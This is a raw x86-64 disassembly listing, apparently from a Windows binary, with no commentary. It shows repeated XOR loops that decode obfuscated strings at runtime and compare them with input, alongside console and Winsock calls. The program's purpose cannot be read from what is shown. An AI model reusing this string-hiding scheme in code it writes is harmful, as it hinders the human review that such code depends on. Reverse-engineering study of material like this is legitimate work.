add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140023830
lea rcx, [rbp + 0x6a0]
cmp qword [rbp + 0x6b8], 0x10
cmovae rcx, qword [rbp + 0x6a0]
lea rdx, [rbp + 0x190]
call fcn.14005e21c
test rax, rax
mov byte [rsp + 0x61], 0
je 0x14002388b
mov byte [rsp + 0x61], 1
movups xmm0, xmmword [0x140092008]
movups xmmword [rbp - 0x10], xmm0
movsd xmm1, qword [0x140092018]
movsd qword [rbp], xmm1
mov eax, dword [0x140092020]
mov dword [rbp + 8], eax
cmp byte [0x140092023], 0
je 0x140023a53
mov r8d, esi
cmp edi, 2
jl 0x140023a0f
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0xc]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023900
cmp r8d, 0x1c
jge 0x140023a53
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140023a20
lea rcx, [rbp + 0x540]
cmp qword [rbp + 0x558], 0x10
setae r10b
mov byte [rsp + 0x74], r10b
mov r15, qword [rbp + 0x540]
cmovae rcx, r15
lea rdx, [rbp - 0x10]
sub rdx, rcx
nop dword [rax]
movzx eax, byte [rcx]
cmp al, byte [rcx + rdx]
jne 0x140023a93
inc rcx
test al, al
jne 0x140023a80
mov eax, esi
jmp 0x140023a98
sbb eax, eax
or eax, 1
mov dword [rsp + 0x30], eax
test eax, eax
sete byte [rsp + 0x60]
movsd xmm0, qword [str.cSZZWY_kPB]
movsd qword [rbp - 0x28], xmm0
mov eax, dword [0x140092298]
mov dword [rbp - 0x20], eax
movzx eax, word [0x14009229c]
mov word [rbp - 0x1c], ax
movzx eax, byte [0x14009229e]
mov byte [rbp - 0x1a], al
mov r8d, esi
cmp edi, 2
jl 0x140023beb
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400927f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092810]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
mov eax, dword [0x140092840]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.cSZZWY_kPB]
pxor xmm2, xmm1
movd dword [rbp - 0x28], xmm2
movdqa xmm3, xmmword [0x140092800]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092810]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x24]
pxor xmm2, xmm1
movd dword [rbp - 0x24], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140023c00
lea rax, [rbp + 0x540]
test r10b, r10b
cmovne rax, r15
lea r8, [rbp - 0x28]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140023c63
inc rax
test ecx, ecx
jne 0x140023c50
mov r11, qword [rbp + 0x6b8]
mov rbx, qword [rbp + 0x6a0]
test edx, edx
jne 0x140023e7c
movups xmm0, xmmword [str.cSZZWY_]
movups xmmword [rbp + 0x160], xmm0
movzx eax, word [0x140091f58]
mov word [rbp + 0x170], ax
cmp byte [0x140091f59], dl
je 0x140023e43
mov r8d, esi
cmp edi, 2
jl 0x140023dff
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023cf0
cmp r8d, 0x12
jge 0x140023e43
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140023e10
lea rax, [rbp + 0x6a0]
cmp r11, 0x10
cmovae rax, rbx
lea r8, [rbp + 0x160]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140023e73
inc rax
test ecx, ecx
jne 0x140023e60
test edx, edx
jne 0x140023e7c
mov r10b, 1
jmp 0x140023e7f
xor r10b, r10b
movups xmm0, xmmword [str.uWRPF_S_]
movups xmmword [rbp + 0x10], xmm0
movsd xmm1, qword [str._34___f_2.L]
movsd qword [rbp + 0x20], xmm1
mov eax, dword [0x1400924f0]
mov dword [rbp + 0x28], eax
cmp byte [0x1400924f3], 0
je 0x140024043
mov r8d, esi
cmp edi, 2
jl 0x140024000
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023ef1
cmp r8d, 0x1c
jge 0x140024043
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140024010
lea rax, [rbp + 0x540]
cmp byte [rsp + 0x74], 0
cmovne rax, r15
lea r8, [rbp + 0x10]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140024073
inc rax
test ecx, ecx
jne 0x140024060
test edx, edx
jne 0x1400240eb
movsd xmm0, qword [str.uWRPF_S_9]
movsd qword [rsp + 0x78], xmm0
movzx eax, byte [0x140092610]
mov byte [rsp + 0x78], 0x44
xor byte [rsp + 0x79], 0x32
xor byte [rsp + 0x7a], 0x33
xor byte [rsp + 0x7b], 0x34
xor byte [rsp + 0x7c], 0x35
xor byte [rsp + 0x7d], 0x36
xor byte [rsp + 0x7e], 0x37
xor byte [rsp + 0x7f], 0x38
xor al, 0x39
mov byte [rbp - 0x80], al
lea rax, [rbp + 0x6a0]
cmp r11, 0x10
cmovae rax, rbx
lea r8, [rsp + 0x78]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400240e3
inc rax
test ecx, ecx
jne 0x1400240d0
test edx, edx
jne 0x1400240eb
mov al, 1
jmp 0x1400240ed
xor al, al
cmp dword [rbp + 0x500], 0
je 0x14002515b
mov r15d, dword [rsp + 0x30]
test r15d, r15d
jne 0x14002410f
cmp byte [rsp + 0x61], r15b
je 0x14002515b
test r10b, r10b
jne 0x14002515b
test al, al
jne 0x14002515b
xor edx, edx
mov r8d, 0xa8
lea rcx, [rbp + 0x740]
call fcn.14005e450
lea rcx, [rbp + 0x740]
call fcn.14001d3d0
nop
lea rcx, [rbp + 0x740]
call fcn.14001ddb0
test al, al
jne 0x140024305
lea rdx, [rbp + 0x50]
call fcn.140025f70
mov r9, rax
cmp byte [rax + 0x53], 0
je 0x140025c11
cmp edi, 2
jl 0x1400242be
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x1400241b0
cmp esi, 0x54
jge 0x140025c11
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x54
jge 0x140025c11
jmp 0x1400242d0
movups xmm0, xmmword [str.tAPUES]
movups xmmword [rbp + 0x30], xmm0
movzx eax, word [0x140092150]
mov word [rbp + 0x40], ax
movzx eax, byte [0x140092152]
mov byte [rbp + 0x42], al
mov r8d, esi
cmp edi, 2
jl 0x14002447f
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140024370
cmp r8d, 0x13
jge 0x1400244c3
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140024490
lea rcx, [rbp + 0x6a0]
call fcn.1400088d0
lea r8, [rbp + 0x30]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400244f3
inc rax
test ecx, ecx
jne 0x1400244e0
test edx, edx
jne 0x1400248a4
movups xmm0, xmmword [0x140092458]
movups xmmword [rbp + 0x528], xmm0
mov eax, dword [0x140092468]
mov dword [rbp + 0x538], eax
movzx eax, byte [0x14009246c]
mov byte [rbp + 0x53c], al
mov r8d, esi
cmp edi, 2
jl 0x14002467f
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x52c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140024570
cmp r8d, 0x15
jge 0x1400246c3
movsxd rax, r8d
lea r9, [rbp + 0x528]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140024690
lea rcx, [rbp + 0x528]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movups xmm0, xmmword [str.eZRZE]
movups xmmword [rbp + 0x218], xmm0
movups xmm1, xmmword [0x140091e28]
movups xmmword [rbp + 0x228], xmm1
movsd xmm0, qword [str.__5_3vXV]
movsd qword [rbp + 0x238], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140024859
movdqa xmm5, xmmword [0x1400927f0]
mov edx, esi
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x21c]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140024750
jmp 0x140024889
lea r9, [rbp + 0x218]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140024860
lea rdx, [rbp + 0x218]
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140017990
movups xmm0, xmmword [str.a_VGF]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140092430]
movups xmmword [rbp + 0xc0], xmm1
movsd xmm0, qword [0x140092440]
movsd qword [rbp + 0xd0], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140024a29
movdqa xmm5, xmmword [0x1400927f0]
mov edx, esi
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb4]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140024920
jmp 0x140024a59
lea r9, [rbp + 0xb0]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140024a30
lea rdx, [rbp + 0xb0]
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140017990
mov eax, dword [str.ASFGP6]
mov dword [rsp + 0x6c], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x70], ax
mov byte [rsp + 0x6c], WSACleanup
xor byte [rsp + 0x6d], 0x32
xor byte [rsp + 0x6e], 0x33
xor byte [rsp + 0x6f], 0x34
xor byte [rsp + 0x70], 0x35
xor byte [rsp + 0x71], 0x36
lea rcx, [rsp + 0x6c]
call fcn.14002b988
lea rcx, [rbp + 0x598]
call fcn.14000ee40
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.14001a6c0
lea rcx, [rbp + 0x2a0]
mov ebx, 2
mov edx, ebx
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
